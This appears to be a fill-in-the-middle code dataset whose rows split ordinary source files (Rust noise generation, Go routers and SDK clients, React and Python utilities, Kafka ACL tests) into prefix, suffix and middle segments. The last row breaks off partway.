file_name
stringlengths
3
137
prefix
stringlengths
0
918k
suffix
stringlengths
0
962k
middle
stringlengths
0
812k
noisier.rs
extern crate sorting_rs as sort; extern crate rand as rand; use self::rand::prelude::*; use self::sort::*; use std::{f64::consts::PI, fmt}; pub trait NoiseMachine<'a, const RES: usize> { fn new() -> Self; fn from_seed(seed: u64) -> Self; fn set_seed(&'a mut self, seed: u64); fn seed(&'a self) -> u64; fn sample_raw(&'a self, dim: usize, pos: &Vec<f64>) -> f64; fn sample( &'a self, dim: usize, pos: &Vec<f64>, scale: &Vec<f64>, offset: &Vec<f64>, weight: f64, bias: f64, ) -> f64 { let dim = dim.clamp(1, usize::BITS as usize); assert_eq!(pos.len(), dim); assert_eq!(scale.len(), dim); assert_eq!(offset.len(), dim); self.sample_raw(dim, &{ let mut new_pos = Vec::with_capacity(dim); for i in 0..(dim) { new_pos.push(pos[i].clamp(0.0, 1.0) * scale[i].abs() + offset[i].abs()); } new_pos }) * weight + bias } fn sample_tileable( &'a self, dim: usize, pos: &Vec<f64>, scale: &Vec<f64>, offset: &Vec<f64>, weight: f64, bias: f64, ) -> f64 { let dim2 = (dim * 2).clamp(1, usize::BITS as usize); let dim = dim2 / 2; assert_eq!(pos.len(), dim); assert_eq!(scale.len(), dim); assert_eq!(offset.len(), dim); self.sample_raw(dim2, &{ let mut new_pos = Vec::with_capacity(dim2); for i in 0..(dim) { let pi_pos = pos[i].clamp(0.0, 1.0) * 2.0 * PI; new_pos.push((pi_pos.cos() + 1.0) / (2.0 * PI) * scale[i] + offset[i]); } for i in 0..(dim) { let pi_pos = pos[i].clamp(0.0, 1.0) * 2.0 * PI; new_pos.push((pi_pos.sin() + 1.0) / (2.0 * PI) * scale[i].abs() + offset[i].abs()); } new_pos }) * weight + bias } fn gen_continuous( &'a self, dim: usize, scale: &Vec<f64>, offset: &Vec<f64>, weight: f64, bias: f64, ) -> ContinuousNoise<'a, Self, RES> { ContinuousNoise::<'a, Self, RES>::new( self, dim, scale.clone(), offset.clone(), weight, bias, ) } fn gen_recurrent( &'a self, dim: usize, scale: &Vec<f64>, offset: &Vec<f64>, weight: f64, bias: f64, ) -> RecurrentNoise<'a, Self, RES> { RecurrentNoise::<'a, Self, RES>::new( self, dim, scale.clone(), offset.clone(), weight, bias, ) } } #[derive(Clone)] pub struct PerlinNoiseMachine<const RES: usize> where { seed: u64, rand: [usize; usize::BITS as usize], perm: [usize; RES], } impl <const RES: usize> PerlinNoiseMachine<RES> { fn corner_dot(&self, corner: &Vec<u32>, sample: &Vec<f64>) -> f64 { let dim = sample.len(); let grad = self.get_gradient(&corner); let mut dot_sum = 0.0; for i in 0..dim { dot_sum += (sample[i] - corner[i] as f64) * grad[i]; } dot_sum } fn get_gradient(&self, corner: &Vec<u32>) -> Vec<f64> { let dim = corner.len(); let p = self.perm; if dim == 1 { return vec![(p[corner[0] as usize % RES] / (RES - 1) * 2 - 1) as f64]; } let mut angles: Vec<f64> = Vec::with_capacity(dim - 1); let mut vector = vec![1.0; dim]; for i in 0..dim - 1 { let mut random = self.rand[i]; for coord in corner { random = p[(random + (*coord as usize % RES)) % RES] } angles.push((random as f64 / (RES - 1) as f64) * 2.0 * PI); for k in 0..i { vector[i] *= angles[k].sin(); } vector[i] *= angles[i].cos(); vector[dim - 1] *= angles[i].sin(); } vector } } impl <'a, const RES: usize> NoiseMachine<'a, RES> for PerlinNoiseMachine<RES> { fn new() -> Self { let seed = thread_rng().gen(); let mut rng = StdRng::seed_from_u64(seed); let mut rand = [0usize; usize::BITS as usize]; for val in rand.iter_mut(){ *val = rng.gen_range(0..RES) }; let mut perm = [0usize; RES]; for i in 0..RES{ perm[i] = i; }; perm.shuffle(&mut rng); Self { seed, perm, rand } } fn from_seed(seed: u64) -> Self { let mut rng = StdRng::seed_from_u64(seed); let mut rand = [0usize; usize::BITS as usize]; for val in rand.iter_mut(){ *val = rng.gen_range(0..RES) }; let mut perm = [0usize; RES]; for i in 0..RES{ perm[i] = i; }; perm.shuffle(&mut rng); Self { seed, perm, rand } } fn set_seed(&'a mut self, seed: u64) { self.seed = seed; let mut rng = StdRng::seed_from_u64(seed); { let mut rand = [0usize; usize::BITS as usize]; for val in rand.iter_mut(){ *val = rng.gen_range(0..RES) }; self.rand = rand; } let mut perm = [0usize; RES]; for i in 0..RES{ perm[i] = i; }; perm.shuffle(&mut rng); self.perm = perm; } fn seed(&'a self) -> u64 { self.seed } fn sample_raw(&'a self, dim: usize, pos: &Vec<f64>) -> f64 { assert_eq!(pos.len(), dim); let dim = dim.clamp(1, usize::BITS as usize); let pos: Vec<f64> = pos .iter() .map(|x| x.abs().clamp(0.0, (u32::MAX - usize::BITS) as f64)) .collect(); let mut pos0 = Vec::with_capacity(dim); let mut δ_pos = Vec::with_capacity(dim); for i in 0..dim { pos0.push(pos[i].floor() as u32); δ_pos.push(pos[i] - pos0[i] as f64); } let mut c = 2usize.pow(dim as u32); let mut out: Vec<f64> = Vec::with_capacity(c); for i in 0..2usize.pow(dim as u32) { let mut corner = Vec::with_capacity(dim); for j in 0..dim { corner.push(pos0[j] + ((i >> j) % 2) as u32); } out.push(self.corner_dot(&corner, &pos)); } let int = |x, min, max| (max - min) * (x * (x * 6.0 - 15.0) + 10.0) * x * x * x + min; for i in 0..dim { c /= 2; let mut new_out = Vec::with_capacity(c); for j in 0..c { new_out.push(int(δ_pos[i], out[j * 2], out[j * 2 + 1])) } out.clone_from(&new_out); } out[0] } } impl <const RES: usize> fmt::Debug for PerlinNoiseMachine::<RES> { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { write!(f, "PerlinNoiseMachine{{seed: {}}}", self.seed) } } #[derive(Clone)] pub struct SimplexNoiseMachine<const RES: usize> where { seed: u64, rand: [usize; usize::BITS as usize], perm: [usize; RES], } impl <const RES: usize> SimplexNoiseMachine<RES> { fn get_gradient(&self, corner: &Vec<f64>) -> Vec<f64> { let dim = corner.len(); let p = self.perm; if dim == 1 { return vec![(p[corner[0] as usize % RES] / (RES - 1) * 2 - 1) as f64]; } let mut angles: Vec<f64> = Vec::with_capacity(dim - 1); let mut vector = vec![1.0; dim]; for i in 0..dim - 1 { let mut random = self.rand[i]; for coord in corner { random = p[(random + (*coord as usize % RES)) % RES] } angles.push((random as f64 / (RES - 1) as f64) * 2.0 * PI); for k in 0..i { vector[i] *= angles[k].sin(); } vector[i] *= angles[i].cos(); vector[dim - 1] *= angles[i].sin(); } vector } } impl <'a, const RES: usize> NoiseMachine<'a, RES> for SimplexNoiseMachine<RES> { fn new() -> Self { let seed = thread_rng().gen(); let mut rng = StdRng::seed_from_u64(seed); let mut rand = [0usize; usize::BITS as usize]; for val in rand.iter_mut(){ *val = rng.gen_range(0..RES) }; let mut perm = [0usize; RES]; for i in 0..RES{ perm[i] = i; }; perm.shuffle(&mut rng); Self { seed, perm, rand } } fn from_seed(seed: u64) -> Self { let mut rng = StdRng::seed_from_u64(seed); let mut rand = [0usize; usize::BITS as usize]; for val in rand.iter_mut(){ *val = rng.gen_range(0..RES) }; let mut perm = [0usize; RES]; for i in 0..RES{ perm[i] = i; }; perm.shuffle(&mut rng); Self { seed, perm, rand } } fn set_seed(&'a mut self, seed: u64) { self.seed = seed; let mut rng = StdRng::seed_from_u64(seed); { let mut rand = [0usize; usize::BITS as usize]; for val in rand.iter_mut(){ *val = rng.gen_range(0..RES) }; self.rand = rand; } let mut perm = [0usize; RES]; for i in 0..RES{ perm[i] = i; }; perm.shuffle(&mut rng); self.perm = perm; } fn seed(&'a self) -> u64 { self.seed } fn sample_raw(&'a self, dim: usize, pos: &Vec<f64>) -> f64 { let dim = dim.clamp(1, usize::BITS as usize); assert_eq!(pos.len(), dim); let mut pos: Vec<f64> = pos .iter() .map(|x| x.abs().clamp(0.0, (u32::MAX - usize::BITS) as f64)) .collect(); let in_pos = pos.clone(); let mut pos0 = Vec::with_capacity(dim); let mut δ_pos = Vec::with_capacity(dim); { let f = ((dim as f64 + 1.0).sqrt() - 1.0) / dim as f64; let sum: f64 = pos.iter().sum(); for i in 0..dim{ pos[i] += sum * f; pos0.push(pos[i].floor() as u32); δ_pos.push((pos[i] - pos0[i] as f64, i)); } heap_sort(&mut δ_pos); } let mut corners: Vec<Vec<f64>> = Vec::new(); let mut grads: Vec<Vec<f64>> = Vec::new(); { let mut corner: Vec<f64> = vec![0.0; dim]; corners.push({ let mut this_corner = corner.clone(); for j in 0..dim { this_corner[j] += pos0[j] as f64; } grads.push(self.get_gradient(&this_corner)); this_corner }); for i in (0..dim).rev() { corner[δ_pos[i].1] = 1.0; corners.push({ let mut this_corner = corner.clone(); for j in 0..dim { this_corner[j] += pos0[j] as f64; } grads.push(self.get_gradient(&this_corner)); this_corner }); } let g = (1.0 - 1.0/(dim as f64 + 1.0).sqrt()) / dim as f64; for corner in corners.iter_mut() { let sum: f64 = corner.iter().sum(); for i in 0..dim { corner[i] -= sum * g; } } } let mut d_squared = Vec::new(); let mut dot_prod = Vec::new(); { let mut δ_corners = Vec::new(); for corner in corners.iter() { let mut δ_corner = Vec::new(); for i in 0..dim { δ_corner.push(in_pos[i] - corner[i]); } δ_corners.push(δ_corner); } for i in 0..(dim + 1) { let δ_corner = δ_corners[i].clone(); let mut d_squared_sum: f64 = 0.0; let mut dot_prod_sum: f64 = 0.0; for j in 0..dim { let coord = δ_corner[j]; d_squared_sum += coord * coord; dot_prod_sum += coord * grads[i][j]; } d_squared.push(d_squared_sum); dot_prod.push(dot_prod_sum); } } let mut output = Vec::new(); { for i in 0..(dim + 1) { let c = 0.0f64.max(0.5 - d_squared[i]); output.push(c * c * c * c * dot_prod[i]); } } output.iter().sum::<f64>() * 100.0 } fn sample_tileable( &'a self, dim: usize, pos: &Vec<f64>, scale: &Vec<f64>, offset: &Vec<f64>, weight: f64, bias: f64, ) -> f64 { let lerp = |x, a, b| (b - a) * x + a; let mut pow = 2usize.pow(dim as u32); let mut corners = Vec::with_capacity(pow); let mut vals = Vec::with_capacity(pow); for i in 0..pow { let mut corner = Vec::new(); let mut this_pos = pos.clone(); let this_scale: Vec<f64> = scale.iter().map(|x| 2.0 * x).collect(); for j in 0..dim { corner.push((i >> j) % 2); this_pos[j] += corner[j] as f64; this_pos[j] /= 2.0; } corners.push(corner); vals.push(self.sample(dim, &this_pos, &this_scale, offset, weight, bias)); } for i in 0..dim { pow /= 2; let mut new_vals = Vec::with_capacity(pow); for j in 0..pow { new_vals.push(lerp(pos[i], vals[j*2+1], vals[j*2])); } vals = new_vals; } vals[0] } } impl <const RES: usize> fmt::Debug for SimplexNoiseMachine<RES> { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { write!(f, "SimplexNoiseMachine {{ seed: {} }}", self.seed) } } pub trait NoiseBuffer<'a, T, const RES: usize> where T: NoiseMachine<'a, RES> + ?Sized { fn sample(&'a self, pos: &Vec<f64>) -> f64; fn machine(&'a self) -> &'a T; fn dim(&'a self) -> usize; fn scale(&'a self) -> Vec<f64>; fn offset(&'a self) -> Vec<f64>; fn weight(&'a self) -> f64; fn bias(&'a self) -> f64; fn new( machine: &'a T, dim: usize, scale: Vec<f64>, offset: Vec<f64>, weight: f64, bias: f64, ) -> Self; } #[derive(Clone, Debug)] pub struct ContinuousNoise<'a, T, const RES: usize> where T: NoiseMachine<'a, RES> + ?Sized { machine: &'a T, dim: usize, scale: Vec<f64>, offset: Vec<f64>, weight: f64, bias: f64, } impl <'a, T, const RES: usize> NoiseBuffer<'a, T, RES> for ContinuousNoise<'a, T, RES> where T: NoiseMachine<'a, RES> + ?Sized { fn sample(&'a self, pos: &Vec<f64>) -> f64 { self.machine.sample( self.dim, pos, &self.scale, &self.offset, self.weight, self.bias, ) } fn machine(&'a self) -> &'a T { self.machine } fn dim(&'a self) -> usize { self.dim.clone() } fn scale(&'a self) -> Vec<f64> { self.scale.clone() } fn offset(&'a self) -> Vec<f64> { self.offset.clone() } fn weight(&'a self) -> f64 { self.weight.clone() } fn bias(&'a self) -> f64 { self.bias.clone() } fn new( machine: &'a T, dim: usize, scale: Vec<f64>, offset: Vec<f64>, weight: f64, bias: f64, ) -> Self { let dim = dim.clamp(1, usize::BITS as usize); assert_eq!(scale.len(), dim); assert_eq!(offset.len(), dim); Self { machine, dim, scale, offset, weight, bias, } } } #[derive(Clone, Debug)] pub struct RecurrentNoise<'a, T, const RES: usize> where T: NoiseMachine<'a, RES> + ?Sized { machine: &'a T, dim: usize, scale: Vec<f64>, offset: Vec<f64>, weight: f64, bias: f64, } impl <'a, T, const RES: usize> NoiseBuffer<'a, T, RES> for RecurrentNoise<'a, T, RES> where T: NoiseMachine<'a, RES> + ?Sized { fn sample(&self, p
ec<f64>) -> f64 { self.machine.sample_tileable( self.dim, pos, &self.scale, &self.offset, self.weight, self.bias, ) } fn machine(&self) -> &'a T { self.machine } fn dim(&self) -> usize { self.dim.clone() } fn scale(&self) -> Vec<f64> { self.scale.clone() } fn offset(&self) -> Vec<f64> { self.offset.clone() } fn weight(&self) -> f64 { self.weight.clone() } fn bias(&self) -> f64 { self.bias.clone() } fn new( machine: &'a T, dim: usize, scale: Vec<f64>, offset: Vec<f64>, weight: f64, bias: f64, ) -> Self { let dim = (dim * 2).clamp(1, usize::BITS as usize) / 2; assert_eq!(scale.len(), dim); assert_eq!(offset.len(), dim); Self { machine, dim, scale, offset, weight, bias, } } }
os: &V
events.rs
use std::rc::Rc; use wasm_bindgen_test::*; use std::cell::RefCell; use wasm_bindgen::prelude::*; use wasm_bindgen::JsCast; use web_sys::*; use percy_dom::prelude::*; wasm_bindgen_test_configure!(run_in_browser); // Make sure that we successfully attach an event listener and see it work. #[wasm_bindgen_test] fn on_input()
{ let text = Rc::new(RefCell::new("Start Text".to_string())); let text_clone = Rc::clone(&text); let input = html! { <input // On input we'll set our Rc<RefCell<String>> value to the input elements value oninput=move |event: InputEvent| { let input_elem = event.target().unwrap(); let input_elem = input_elem.dyn_into::<HtmlInputElement>().unwrap(); *text_clone.borrow_mut() = input_elem.value(); } value="End Text" > }; let input_event = InputEvent::new("input").unwrap(); let input = input.create_dom_node().node; assert_eq!(&*text.borrow(), "Start Text"); // After dispatching the oninput event our `text` should have a value of the input elements value. web_sys::EventTarget::from(input) .dispatch_event(&input_event) .unwrap(); assert_eq!(&*text.borrow(), "End Text"); }
Dropzone.tsx
import React from 'react'; import {useDropzone} from 'react-dropzone'; type DropzoneProps = { onDrop: (files: File[]) => void, children: any, hidden: boolean, }; const dropzoneOptions = { accept: ['image/png'], multiple: false, maxFiles: 1, minSize: 67, maxSize: 1_048_576, }; export function Dropzone(props: DropzoneProps) { const {onDrop, children, hidden} = props; const {getRootProps, getInputProps} = useDropzone({...dropzoneOptions, onDrop}); return ( <div role="form" hidden={hidden} className="dropzone" {...getRootProps()}> <input alt="File" {...getInputProps()} /> {children}
</div> ); } Dropzone.defaultProps = { children: null, hidden: false, };
json_base.py
import ujson import uuid import time import zlib import base64 from typing import Any, Dict, Tuple, Union PROTOCOL_VERSION = 'tomodachi-json-base--1.0.0' class JsonBase(object):
@classmethod async def build_message(cls, service: Any, topic: str, data: Any, **kwargs: Any) -> str: data_encoding = 'raw' if len(ujson.dumps(data)) >= 60000: data = base64.b64encode(zlib.compress(ujson.dumps(data).encode('utf-8'))).decode('utf-8') data_encoding = 'base64_gzip_json' message = { 'service': { 'name': getattr(service, 'name', None), 'uuid': getattr(service, 'uuid', None) }, 'metadata': { 'message_uuid': '{}.{}'.format(getattr(service, 'uuid', ''), str(uuid.uuid4())), 'protocol_version': PROTOCOL_VERSION, 'compatible_protocol_versions': ['json_base-wip'], # deprecated 'timestamp': time.time(), 'topic': topic, 'data_encoding': data_encoding }, 'data': data } return ujson.dumps(message) @classmethod async def parse_message(cls, payload: str, **kwargs: Any) -> Union[Dict, Tuple]: message = ujson.loads(payload) protocol_version = message.get('metadata', {}).get('protocol_version') message_uuid = message.get('metadata', {}).get('message_uuid') timestamp = message.get('metadata', {}).get('timestamp') if message.get('metadata', {}).get('data_encoding') == 'raw': data = message.get('data') elif message.get('metadata', {}).get('data_encoding') == 'base64_gzip_json': data = ujson.loads(zlib.decompress(base64.b64decode(message.get('data').encode('utf-8'))).decode('utf-8')) return { 'service': { 'name': message.get('service', {}).get('name'), 'uuid': message.get('service', {}).get('uuid') }, 'metadata': { 'message_uuid': message.get('metadata', {}).get('message_uuid'), 'protocol_version': message.get('metadata', {}).get('protocol_version'), 'timestamp': message.get('metadata', {}).get('timestamp'), 'topic': message.get('metadata', {}).get('topic'), 'data_encoding': message.get('metadata', {}).get('data_encoding') }, 'data': data }, message_uuid, timestamp
router.go
package router import ( "ecohanim/echo-server-ex/web-server/api" "ecohanim/echo-server-ex/web-server/api/middlewares" "github.com/labstack/echo" ) func New() *echo.Echo { e := echo.New() // create groups adminGroup := e.Group("/admin") cookieGroup := e.Group("/cookie") jwtGroup := e.Group("/jwt") // set all middlewares middlewares.SetMainMiddlewares(e) middlewares.SetAdminMiddlewares(adminGroup) middlewares.SetCookieMiddlewares(cookieGroup) middlewares.SetJwtMiddlewares(jwtGroup)
api.AdminGroup(adminGroup) api.CookieGroup(cookieGroup) api.JwtGroup(jwtGroup) return e }
// set main routes api.MainGroup(e) // set group routes
cli_runner.go
/* Copyright 2019 The Kubernetes Authors All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package oci import ( "bytes" "context" "fmt" "io" "os/exec" "strings" "time" "github.com/golang/glog" "k8s.io/minikube/pkg/minikube/out" ) // RunResult holds the results of a Runner type RunResult struct { Stdout bytes.Buffer Stderr bytes.Buffer ExitCode int Args []string // the args that was passed to Runner } // Command returns a human readable command string that does not induce eye fatigue func (rr RunResult) Command() string { var sb strings.Builder sb.WriteString(rr.Args[0]) for _, a := range rr.Args[1:] { if strings.Contains(a, " ") { sb.WriteString(fmt.Sprintf(` "%s"`, a)) continue } sb.WriteString(fmt.Sprintf(" %s", a)) } return sb.String() } // Output returns human-readable output for an execution result func (rr RunResult) Output() string { var sb strings.Builder if rr.Stdout.Len() > 0 { sb.WriteString(fmt.Sprintf("-- stdout --\n%s\n-- /stdout --", rr.Stdout.Bytes())) } if rr.Stderr.Len() > 0 { sb.WriteString(fmt.Sprintf("\n** stderr ** \n%s\n** /stderr **", rr.Stderr.Bytes())) } return sb.String() } // runCmd runs a command exec.Command against docker daemon or podman func
(cmd *exec.Cmd, warnSlow ...bool) (*RunResult, error) { warn := false if len(warnSlow) > 0 { warn = warnSlow[0] } killTime := 19 * time.Second // this will be applied only if warnSlow is true warnTime := 2 * time.Second ctx, cancel := context.WithTimeout(context.Background(), killTime) defer cancel() if cmd.Args[1] == "volume" || cmd.Args[1] == "ps" { // volume and ps requires more time than inspect killTime = 30 * time.Second warnTime = 3 * time.Second } if warn { // convert exec.Command to with context cmdWithCtx := exec.CommandContext(ctx, cmd.Args[0], cmd.Args[1:]...) cmdWithCtx.Stdout = cmd.Stdout //copying the original command cmdWithCtx.Stderr = cmd.Stderr cmd = cmdWithCtx } rr := &RunResult{Args: cmd.Args} glog.Infof("Run: %v", rr.Command()) var outb, errb io.Writer if cmd.Stdout == nil { var so bytes.Buffer outb = io.MultiWriter(&so, &rr.Stdout) } else { outb = io.MultiWriter(cmd.Stdout, &rr.Stdout) } if cmd.Stderr == nil { var se bytes.Buffer errb = io.MultiWriter(&se, &rr.Stderr) } else { errb = io.MultiWriter(cmd.Stderr, &rr.Stderr) } cmd.Stdout = outb cmd.Stderr = errb start := time.Now() err := cmd.Run() elapsed := time.Since(start) if warn { if elapsed > warnTime { out.WarningT(`Executing "{{.command}}" took an unusually long time: {{.duration}}`, out.V{"command": rr.Command(), "duration": elapsed}) out.ErrT(out.Tip, `Restarting the {{.name}} service may improve performance.`, out.V{"name": cmd.Args[0]}) } if ctx.Err() == context.DeadlineExceeded { return rr, fmt.Errorf("%q timed out after %s", rr.Command(), killTime) } } if exitError, ok := err.(*exec.ExitError); ok { rr.ExitCode = exitError.ExitCode() } // Decrease log spam if elapsed > (1 * time.Second) { glog.Infof("Completed: %s: (%s)", rr.Command(), elapsed) } if err == nil { return rr, nil } return rr, fmt.Errorf("%s: %v\nstdout:\n%s\nstderr:\n%s", rr.Command(), err, rr.Stdout.String(), rr.Stderr.String()) }
runCmd
lib.rs
//! This crate provides gdscript language support for the [tree-sitter][] parsing library. //! //! Typically, you will use the [language][language func] function to add this language to a //! tree-sitter [Parser][], and then use the parser to parse some code: //! //! ```
//! ``` //! //! [Language]: https://docs.rs/tree-sitter/*/tree_sitter/struct.Language.html //! [language func]: fn.language.html //! [Parser]: https://docs.rs/tree-sitter/*/tree_sitter/struct.Parser.html //! [tree-sitter]: https://tree-sitter.github.io/ use tree_sitter::Language; extern "C" { fn tree_sitter_gdscript() -> Language; } /// Get the tree-sitter [Language][] for this grammar. /// /// [Language]: https://docs.rs/tree-sitter/*/tree_sitter/struct.Language.html pub fn language() -> Language { unsafe { tree_sitter_gdscript() } } /// The content of the [`node-types.json`][] file for this grammar. /// /// [`node-types.json`]: https://tree-sitter.github.io/tree-sitter/using-parsers#static-node-types pub const NODE_TYPES: &'static str = include_str!("../../src/node-types.json"); // Uncomment these to include any queries that this grammar contains // pub const HIGHLIGHTS_QUERY: &'static str = include_str!("../../queries/highlights.scm"); // pub const INJECTIONS_QUERY: &'static str = include_str!("../../queries/injections.scm"); // pub const LOCALS_QUERY: &'static str = include_str!("../../queries/locals.scm"); // pub const TAGS_QUERY: &'static str = include_str!("../../queries/tags.scm"); #[cfg(test)] mod tests { #[test] fn test_can_load_grammar() { let mut parser = tree_sitter::Parser::new(); parser .set_language(super::language()) .expect("Error loading gdscript language"); } }
//! let code = ""; //! let mut parser = tree_sitter::Parser::new(); //! parser.set_language(tree_sitter_gdscript::language()).expect("Error loading gdscript grammar"); //! let tree = parser.parse(code, None).unwrap();
mod.rs
mod mutable;
cert_pool_darwin_test.go
// +build darwin package sortpem import "testing" func
(m *testing.M) { debugExecDarwinRoots = true m.Run() }
TestMain
modify_protection_module_status.go
package waf_openapi //Licensed under the Apache License, Version 2.0 (the "License"); //you may not use this file except in compliance with the License. //You may obtain a copy of the License at // //http://www.apache.org/licenses/LICENSE-2.0 // //Unless required by applicable law or agreed to in writing, software //distributed under the License is distributed on an "AS IS" BASIS, //WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. //See the License for the specific language governing permissions and //limitations under the License. // // Code generated by Alibaba Cloud SDK Code Generator. // Changes may cause incorrect behavior and will be lost if the code is regenerated. import ( "github.com/aliyun/alibaba-cloud-sdk-go/sdk/requests" "github.com/aliyun/alibaba-cloud-sdk-go/sdk/responses" ) // ModifyProtectionModuleStatus invokes the waf_openapi.ModifyProtectionModuleStatus API synchronously func (client *Client) ModifyProtectionModuleStatus(request *ModifyProtectionModuleStatusRequest) (response *ModifyProtectionModuleStatusResponse, err error) { response = CreateModifyProtectionModuleStatusResponse() err = client.DoAction(request, response) return } // ModifyProtectionModuleStatusWithChan invokes the waf_openapi.ModifyProtectionModuleStatus API asynchronously func (client *Client) ModifyProtectionModuleStatusWithChan(request *ModifyProtectionModuleStatusRequest) (<-chan *ModifyProtectionModuleStatusResponse, <-chan error) { responseChan := make(chan *ModifyProtectionModuleStatusResponse, 1) errChan := make(chan error, 1) err := client.AddAsyncTask(func() { defer close(responseChan) defer close(errChan) response, err := client.ModifyProtectionModuleStatus(request) if err != nil { errChan <- err } else { responseChan <- response } }) if err != nil { errChan <- err close(responseChan) close(errChan) } return responseChan, errChan } // ModifyProtectionModuleStatusWithCallback invokes the waf_openapi.ModifyProtectionModuleStatus API asynchronously func (client *Client) ModifyProtectionModuleStatusWithCallback(request *ModifyProtectionModuleStatusRequest, callback func(response *ModifyProtectionModuleStatusResponse, err error)) <-chan int { result := make(chan int, 1) err := client.AddAsyncTask(func() { var response *ModifyProtectionModuleStatusResponse var err error defer close(result) response, err = client.ModifyProtectionModuleStatus(request) callback(response, err) result <- 1 }) if err != nil { defer close(result) callback(nil, err) result <- 0 } return result } // ModifyProtectionModuleStatusRequest is the request struct for api ModifyProtectionModuleStatus type ModifyProtectionModuleStatusRequest struct { *requests.RpcRequest DefenseType string `position:"Query" name:"DefenseType"` InstanceId string `position:"Query" name:"InstanceId"` SourceIp string `position:"Query" name:"SourceIp"` Domain string `position:"Query" name:"Domain"` ModuleStatus requests.Integer `position:"Query" name:"ModuleStatus"` Lang string `position:"Query" name:"Lang"` } // ModifyProtectionModuleStatusResponse is the response struct for api ModifyProtectionModuleStatus
RequestId string `json:"RequestId" xml:"RequestId"` } // CreateModifyProtectionModuleStatusRequest creates a request to invoke ModifyProtectionModuleStatus API func CreateModifyProtectionModuleStatusRequest() (request *ModifyProtectionModuleStatusRequest) { request = &ModifyProtectionModuleStatusRequest{ RpcRequest: &requests.RpcRequest{}, } request.InitWithApiInfo("waf-openapi", "2019-09-10", "ModifyProtectionModuleStatus", "waf", "openAPI") request.Method = requests.POST return } // CreateModifyProtectionModuleStatusResponse creates a response to parse from ModifyProtectionModuleStatus response func CreateModifyProtectionModuleStatusResponse() (response *ModifyProtectionModuleStatusResponse) { response = &ModifyProtectionModuleStatusResponse{ BaseResponse: &responses.BaseResponse{}, } return }
type ModifyProtectionModuleStatusResponse struct { *responses.BaseResponse
getitem.py
import json import numpy as np class stride(): def __init__(self, size = 1): self.size = size self.list = self.init_list() def init_list(self): return [] def add(self, value): self.list.append(value) if len(self.list) > self.size: self.list = self.list[1:self.size+1] directions = [ "not found", # 0b0000 "left", # 0b0001 "left back", # 0b0010 "left back", # 0b0011 "right back", # 0b0100 "undefined", # 0b0101 "back", # 0b0110 "left back", # 0b0111 "right", # 0b1000 "undefined", # 0b1001 "undefined", # 0b1010 "undefined", # 0b1011 "right back", # 0b1100 "undefined", # 0b1101 "right back", # 0b1110 "undefined", # 0b1111 None ] def most_frequent(List): return max(set(List), key = List.count) ir_s = stride() def getDirection(ir, stride_length): ir_s.size = stride_length direction = int.from_bytes(ir[0], 'little') & 0xf if ir else 16 ir_s.add(direction) print(ir_s.list) #print("[api] dir list", ir_s.list) return directions[most_frequent(ir_s.list)] def find(List): if sum(x is not None for x in List) >= int(len(List)/2): return max(index for index, item in enumerate(List) if item) return max(index for index, item in enumerate(List) if not item) cam_s = stride() OBJ_BUFF = None, [None,None] def getDetectedObject(cam, stride_length): cam_s.size = stride_length if cam: obj = json.loads(cam[0].decode()) cam_s.add(list((obj["confidence"], obj["center"]))) else:
# print('[api] obj list', cam_s.list) return cam_s.list[find(cam_s.list)] def getPoint(lidar): angles = [] ranges = [] if lidar: point = lidar[0].decode() point = json.loads(point) for key, val in point.items(): angles.append(int(key)) ranges.append(float(val)) return np.array([angles, ranges])
cam_s.add(list(OBJ_BUFF))
acls_test.go
package confluent import ( "io" "net/http" "testing" "github.com/stretchr/testify/assert" ) func TestAcls_ListAclsSuccess(t *testing.T) { mock := MockHttpClient{} mk := MockKafkaClient{} mock.DoRequestFn = func(method string, uri string, reqBody io.Reader) (responseBody []byte, statusCode int, status string, err error) { assert.Equal(t, http.MethodGet, method, "Expected method 'GET', got %s", method) assert.Equal(t, "/clusters/cluster-1/acls", uri) return []byte(` { "kind": "KafkaAclList", "metadata": { "self": "http://localhost:9391/v3/clusters/cluster-1/acls?principal=alice" }, "data": [ { "kind": "KafkaAcl", "metadata": { "self": "http://localhost:9391/v3/clusters/cluster-1/acls?resource_type=TOPIC&resource_name=topic-&pattern_type=PREFIXED&principal=alice&host=*&operation=ALL&permission=ALLOW" }, "cluster_id": "cluster-1", "resource_type": "TOPIC", "resource_name": "topic-", "pattern_type": "PREFIXED", "principal": "alice", "host": "*", "operation": "ALL", "permission": "ALLOW" }, { "kind": "KafkaAcl", "metadata": { "self": "http://localhost:9391/v3/clusters/cluster-1/acls?resource_type=CLUSTER&resource_name=cluster-1&pattern_type=LITERAL&principal=bob&host=*&operation=DESCRIBE&permission=DENY" }, "cluster_id": "cluster-1", "resource_type": "CLUSTER", "resource_name": "cluster-2", "pattern_type": "LITERAL", "principal": "alice", "host": "*", "operation": "DESCRIBE", "permission": "DENY" } ] } `), 200, "200 OK", nil } clusterAdmin, _ := mk.NewSaramaClusterAdmin() c := NewClient(&mock, &mk, clusterAdmin) acls, err := c.ListAcls("cluster-1") assert.NoError(t, err) assert.Equal(t, 2, len(acls)) assert.Equal(t, "alice", acls[0].Principal) } func TestAcls_CreateAclsSuccess(t *testing.T) { mock := MockHttpClient{} mk := MockKafkaClient{} mock.DoRequestFn = func(method string, uri string, reqBody io.Reader) (responseBody []byte, statusCode int, status string, err error) { assert.Equal(t, http.MethodPost, method, "Expected method 'POST', got %s", method) assert.Equal(t, "/clusters/cluster-1/acls", uri) return []byte(``), 201, "201", nil } clusterAdmin, _ := mk.NewSaramaClusterAdmin() c := NewClient(&mock, &mk, clusterAdmin) aclConfig := Acl{} err := c.CreateAcl("cluster-1", &aclConfig) assert.NoError(t, err)
